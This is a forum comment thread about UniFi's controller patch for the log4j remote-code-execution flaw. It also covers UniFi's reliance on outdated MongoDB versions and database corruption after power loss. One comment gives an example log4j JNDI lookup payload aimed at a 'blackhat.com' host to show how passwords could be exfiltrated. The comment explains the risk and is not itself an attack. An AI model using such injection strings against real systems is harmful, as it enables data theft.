5 ms·
This is the unifi controller service patched against the log4j rce. It's been out for a few days now; unifi claims there were no known exploitable vulnerabiliti
by ComputerGuru 5y ago
This is the unifi controller service patched against the log4j rce. It's been out for a few days now; unifi claims there were no known exploitable vulnerabilities associated with log4j in the stock unifi controller configuration but released this out of an abundance of caution.
Given that unifi uses log4j, can be made to log everything, and by default logs things that users have control over such as their pc name, their mac auth username, various hotspot client parameters, the names of neighboring SSIDs, etc I find the original claim dubious but props to them for getting this out quickly.
Edit: clarified wording regarding "no known exploitable vulnerabilities"
- imglorp 5y agoIt's possible Unifi configured log4j with outbound traffic disabled so that would have been a true statement.
- deleted 5y ago[deleted]
- nijave 5y agoAfaik newer Java versions prevent the RCE exploit, too (you have to re-enable the LDAP/RMI functionality since it's off by default)
- janstice 5y agoThe RCE is prevented, but there are likely still exfiltration opportunities like "${jndi:ldap://nijave-yourpassword.blackhat.com:1389/a}" - check out https://github.com/apache/logging-log4j2/pull/608#issuecomment-991354707 https://github.com/apache/logging-log4j2/pull/608#issuecomme... for much smarter (or more devious) people than me.
- walrus01 5y agotoo bad the unifi controller requires the use of a ridiculously outdated version of mongodb, to the extent that installing it to self host unifi on a debian system becomes more of a pain in the ass every year. ubnt patched this because it's a huge highly publicized hole. but the software stack that runs under the rest of unifi is a real mess. people have said to me: "oh, okay, so they're trying to force people to buy their unifi security appliance or cloudkey thing, right?" but the same very old stuff runs on those as well, if you poke around under the hood
- ComputerGuru 5y agoTell me about it. Any time the Debian machine I have running as a Unifi appliance loses power (on an XFS filesystem on a disk with write caching disabled), the mongodb database is absolutely hosed (despite no xfs corruption at all) and I need to wipe the data directory and restore from backup because mongo 3 is just such garbage. (I mean, mongodb is still garbage but it's improved a tiny bit in some reliability metrics.)
- jd_mongodb 5y agoI would be curious to learn more about your setup. MongoDB should be able to recover in these situations...
- ComputerGuru 5y agoStandard from packages. After the power failure the database is unusable and I get mongo startup errors ending with “newer versions of mongo may be able to fix errors like this automatically” and it dies.
- jd_mongodb 5y agoWhich package? Are you running a replica set or a single node? What specific version? Also which storage engine? 3.0 is a pretty old version. Most 3.x versions are end of life or unsupported.
- ComputerGuru 5y agoLatest 3.6, single node, WiredTiger storage engine. The fact that it’s severely outdated is exactly the point we are making. I don’t know if it’s possible to override the version of a Debian package’s specified dependency - although I also don’t know if mongodb 5 is drop-in backwards compatible with a client written and released against v3.6.
- 5y ago